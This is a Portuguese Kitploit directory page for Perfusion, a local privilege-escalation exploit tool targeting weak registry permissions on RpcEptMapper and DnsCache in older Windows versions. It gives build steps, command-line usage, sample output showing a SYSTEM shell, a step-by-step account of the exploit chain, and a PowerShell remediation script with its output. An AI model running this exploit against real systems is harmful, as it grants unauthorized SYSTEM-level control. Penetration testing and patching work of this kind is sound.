Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Perfusion — Exploit para a vulnerabilidade de permissões da chave de registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012) | Kitploit
Ferramentas/GitHubGitHub/itm4n/perfusion
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoPós-ExploraçãoTestes de PenetraçãoArchived
GitHubitm4n/perfusion

Perfusion

Exploit para a vulnerabilidade de permissões da chave de registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)

Ver Repositório
42775há 5 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site

Perfusion

No Windows 7, Windows Server 2008R2, Windows 8 e Windows Server 2012, a chave de registro dos serviços RpcEptMapper e DnsCache (apenas 7/2008R2) está configurada com permissões fracas. Qualquer usuário local pode criar uma subchave Performance e então aproveitar os Windows Performance Counters para carregar uma DLL arbitrária no contexto do serviço WMI como NT AUTHORITY\SYSTEM (daí o nome da ferramenta).

Esta ferramenta foi projetada para ajudar consultores de segurança durante testes de penetração. Este software é fornecido como está, e provavelmente não fornecerei suporte. No entanto, testei-o completamente em três máquinas virtuais diferentes, portanto não deve haver nenhum problema significativo.

Para mais informações: https://itm4n.github.io/windows-registry-rpceptmapper-eop/

ℹ️ Atualização de 2021-04-21

De acordo com 0patch, esta vulnerabilidade foi parcialmente corrigida com a Atualização do Windows de abril de 2021 (ESU). Isso significa que máquinas executando uma versão atualizada do Windows 8 / Server 2012 não devem mais ser exploráveis. No entanto, Windows 7 / Server 2008 R2 permanece vulnerável. Basta usar a chave de registro Dnscache em vez de RpcEptMapper. Atualizei o PoC para que você possa especificá-la manualmente com a opção -k.

Problemas conhecidos

⚠️ LEIA ISTO ANTES DE USAR ESTA FERRAMENTA ⚠️

Durante a fase de desenvolvimento desta ferramenta, observei dois comportamentos diferentes:

  1. A DLL é carregada diretamente pelo processo principal do serviço WMI como NT AUTHORITY\SYSTEM, neste caso o exploit funciona perfeitamente.
  2. A DLL é carregada por um subprocesso do serviço WMI que é executado como NT AUTHORITY\LOCAL SERVICE. Neste caso, o serviço carrega a DLL enquanto personifica o cliente. Acontece que uma escalada de privilégio ainda é possível no Windows 7 (devido a outra vulnerabilidade), mas o custo de implementação não valeu o esforço.

Não consigo explicar essa diferença porque meu código de gatilho era sempre o mesmo. De qualquer forma, em ambos os casos, deixe o exploit fazer seu trabalho para que ele possa limpar tudo quando terminar. Se o exploit falhar, ainda há uma chance de funcionar alguns minutos ou horas depois.

✔️ Aqui está o que você deve ver quando o exploit funciona:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

❌ Aqui está o que você deve ver quando o exploit falha:

root@kitploit:~
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

Instruções de compilação

Esta solução é composta por dois projetos que precisam ser compilados em uma ordem específica. Tudo está pré-configurado, então basta seguir estas instruções simples:

  1. Abra a Solução com o Visual Studio 2019
  2. Selecione Release / x64
  3. Build > Build Solution

Uso

Você pode verificar a mensagem de ajuda usando a opção -h.

root@kitploit:~
C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.2
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -k <KEY>  Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
  -h        Help - That's me :)

Remediação / Patch

As seguintes versões do Windows são vulneráveis:

Versão do WindowsChaves de registro vulneráveis
Windows 7RpcEptMapper, DnsCache
Windows Server 2008R2RpcEptMapper, DnsCache
Windows 8RpcEptMapper
Windows Server 2012RpcEptMapper

Até onde sei, esta vulnerabilidade não será corrigida pela Microsoft, por algum motivo. A melhor solução ainda é atualizar para Windows 10 / Server 2019, mas se não for uma opção a curto prazo, você pode corrigir este problema manualmente removendo a permissão CreateSubKey tanto para NT AUTHORITY\Authenticated Users quanto para BUILTIN\Users nas seguintes chaves de registro:

  • HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
  • HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

Criei um patch para esta vulnerabilidade na forma de um script PowerShell: RegistryPatch.ps1. Este script remove o direito CreateSubKey nas duas chaves de registro mencionadas acima para as seguintes identidades: NT AUTHORITY\INTERACTIVE, BUILTIN\Users e/ou BUILTIN\Authenticated Users.

  • Verificar se uma máquina está vulnerável: (Windows Server 2012 aqui)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
  • Aplicar o patch: (Windows Server 2008 R2 aqui)
root@kitploit:~
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

Como este exploit funciona?

Abaixo estão as etapas do exploit implementadas nesta ferramenta:

  1. Um Processo é criado em segundo plano em estado suspenso (usando a linha de comando especificada).
  2. A DLL de payload embutida é escrita na pasta Temp do usuário atual.
  3. Uma chave Performance é criada em HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper e é preenchida com os valores apropriados, incluindo o caminho completo da DLL criada na etapa 2.
  4. A classe WMI Win32_Perf é criada e invocada para acionar a coleta dos Windows Performance Counters.
  5. A DLL é carregada pelo serviço WMI como NT AUTHORITY\SYSTEM ou NT AUTHORITY\LOCAL SERVICE.
  6. Se a DLL for carregada por NT AUTHORITY\SYSTEM, seu Token é duplicado e aplicado ao Processo que foi inicialmente criado pelo usuário na etapa 1.
  7. Tudo é limpo e a Thread principal do Processo suspenso é retomada.
Baixar ferramenta